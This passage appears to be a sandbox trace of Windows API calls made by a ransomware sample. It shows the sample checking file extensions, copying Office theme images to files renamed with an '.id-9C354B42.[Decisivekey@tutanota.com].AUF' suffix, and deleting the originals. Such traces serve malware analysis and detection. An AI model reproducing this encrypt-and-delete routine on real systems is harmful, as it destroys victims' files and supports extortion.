lpNewFilePointer=0x0) returned 1 [0212.536] SetEndOfFile (hFile=0x1e8) returned 1 [0212.537] CloseHandle (hObject=0x1e8) returned 1 [0212.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.537] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0212.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.539] lstrlenW (lpString=".doc") returned 4 [0212.540] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.540] lstrlenW (lpString=".docx") returned 5 [0212.540] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.541] lstrlenW (lpString=".pdf") returned 4 [0212.541] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.542] lstrlenW (lpString=".xls") returned 4 [0212.542] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.542] lstrlenW (lpString=".xlsx") returned 5 [0212.542] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.545] lstrlenW (lpString=".ppt") returned 4 [0212.545] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString=".zip") returned 4 [0212.558] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.558] lstrlenW (lpString=".rar") returned 4 [0212.558] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.558] lstrlenW (lpString=".bz2") returned 4 [0212.558] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.558] lstrlenW (lpString=".7z") returned 3 [0212.558] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString=".dbf") returned 4 [0212.558] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString=".1cd") returned 4 [0212.558] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString=".jpg") returned 4 [0212.558] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString=".doc") returned 4 [0212.558] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.558] lstrlenW (lpString=".docx") returned 5 [0212.558] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.558] lstrlenW (lpString=".pdf") returned 4 [0212.558] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.558] lstrlenW (lpString=".xls") returned 4 [0212.558] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.558] lstrlenW (lpString=".xlsx") returned 5 [0212.558] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.558] lstrlenW (lpString=".ppt") returned 4 [0212.558] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString=".zip") returned 4 [0212.558] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.558] lstrlenW (lpString=".rar") returned 4 [0212.558] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.558] lstrlenW (lpString=".bz2") returned 4 [0212.558] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.558] lstrlenW (lpString=".7z") returned 3 [0212.558] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString=".dbf") returned 4 [0212.558] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString=".1cd") returned 4 [0212.558] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0212.558] lstrlenW (lpString=".jpg") returned 4 [0212.558] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.559] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.559] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.561] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=28595) returned 1 [0212.561] CloseHandle (hObject=0x1f8) returned 1 [0212.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0212.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.561] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.561] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.561] GetLastError () returned 0x0 [0212.561] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0212.563] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0212.564] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.564] WriteFile (in: hFile=0x184, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.564] SetEndOfFile (hFile=0x184) returned 1 [0212.565] CloseHandle (hObject=0x184) returned 1 [0212.565] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.565] SetEndOfFile (hFile=0x1f8) returned 1 [0212.565] CloseHandle (hObject=0x1f8) returned 1 [0212.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.566] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0212.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.566] lstrlenW (lpString=".doc") returned 4 [0212.566] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.566] lstrlenW (lpString=".docx") returned 5 [0212.566] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.566] lstrlenW (lpString=".pdf") returned 4 [0212.566] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.566] lstrlenW (lpString=".xls") returned 4 [0212.566] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.566] lstrlenW (lpString=".xlsx") returned 5 [0212.566] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.566] lstrlenW (lpString=".ppt") returned 4 [0212.566] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.566] lstrlenW (lpString=".zip") returned 4 [0212.566] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.566] lstrlenW (lpString=".rar") returned 4 [0212.566] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.566] lstrlenW (lpString=".bz2") returned 4 [0212.566] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.566] lstrlenW (lpString=".7z") returned 3 [0212.566] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.566] lstrlenW (lpString=".dbf") returned 4 [0212.566] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.566] lstrlenW (lpString=".1cd") returned 4 [0212.566] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.567] lstrlenW (lpString=".jpg") returned 4 [0212.567] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.567] lstrlenW (lpString=".doc") returned 4 [0212.567] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.567] lstrlenW (lpString=".docx") returned 5 [0212.567] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.567] lstrlenW (lpString=".pdf") returned 4 [0212.567] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.567] lstrlenW (lpString=".xls") returned 4 [0212.567] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.567] lstrlenW (lpString=".xlsx") returned 5 [0212.567] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.567] lstrlenW (lpString=".ppt") returned 4 [0212.567] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.567] lstrlenW (lpString=".zip") returned 4 [0212.567] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.567] lstrlenW (lpString=".rar") returned 4 [0212.567] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.567] lstrlenW (lpString=".bz2") returned 4 [0212.567] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.567] lstrlenW (lpString=".7z") returned 3 [0212.567] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.567] lstrlenW (lpString=".dbf") returned 4 [0212.567] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.567] lstrlenW (lpString=".1cd") returned 4 [0212.567] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0212.567] lstrlenW (lpString=".jpg") returned 4 [0212.567] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.567] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.567] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.574] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=3957) returned 1 [0212.574] CloseHandle (hObject=0x1e0) returned 1 [0212.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0212.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.603] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.603] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.603] GetLastError () returned 0x0 [0212.603] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xf75, lpOverlapped=0x0) returned 1 [0212.612] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xf80, lpOverlapped=0x0) returned 1 [0212.613] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.613] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.614] SetEndOfFile (hFile=0x1f8) returned 1 [0212.614] CloseHandle (hObject=0x1f8) returned 1 [0212.614] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.614] SetEndOfFile (hFile=0x168) returned 1 [0212.614] CloseHandle (hObject=0x168) returned 1 [0212.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.615] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0212.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.615] lstrlenW (lpString=".doc") returned 4 [0212.615] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.615] lstrlenW (lpString=".docx") returned 5 [0212.615] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.615] lstrlenW (lpString=".pdf") returned 4 [0212.615] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.615] lstrlenW (lpString=".xls") returned 4 [0212.615] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.615] lstrlenW (lpString=".xlsx") returned 5 [0212.615] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.615] lstrlenW (lpString=".ppt") returned 4 [0212.615] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.615] lstrlenW (lpString=".zip") returned 4 [0212.615] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.615] lstrlenW (lpString=".rar") returned 4 [0212.615] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.615] lstrlenW (lpString=".bz2") returned 4 [0212.615] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.615] lstrlenW (lpString=".7z") returned 3 [0212.615] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.615] lstrlenW (lpString=".dbf") returned 4 [0212.616] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.616] lstrlenW (lpString=".1cd") returned 4 [0212.616] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.616] lstrlenW (lpString=".jpg") returned 4 [0212.616] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.616] lstrlenW (lpString=".doc") returned 4 [0212.616] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.616] lstrlenW (lpString=".docx") returned 5 [0212.616] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.616] lstrlenW (lpString=".pdf") returned 4 [0212.616] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.616] lstrlenW (lpString=".xls") returned 4 [0212.616] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.616] lstrlenW (lpString=".xlsx") returned 5 [0212.616] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.616] lstrlenW (lpString=".ppt") returned 4 [0212.616] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.616] lstrlenW (lpString=".zip") returned 4 [0212.616] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.616] lstrlenW (lpString=".rar") returned 4 [0212.616] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.616] lstrlenW (lpString=".bz2") returned 4 [0212.616] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.616] lstrlenW (lpString=".7z") returned 3 [0212.616] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.616] lstrlenW (lpString=".dbf") returned 4 [0212.616] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.616] lstrlenW (lpString=".1cd") returned 4 [0212.616] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0212.616] lstrlenW (lpString=".jpg") returned 4 [0212.616] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.616] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.616] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.617] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=25106) returned 1 [0212.617] CloseHandle (hObject=0x168) returned 1 [0212.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0212.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.617] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.617] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.618] GetLastError () returned 0x0 [0212.618] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x6212, lpOverlapped=0x0) returned 1 [0212.628] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x6220, lpOverlapped=0x0) returned 1 [0212.651] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.651] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.651] 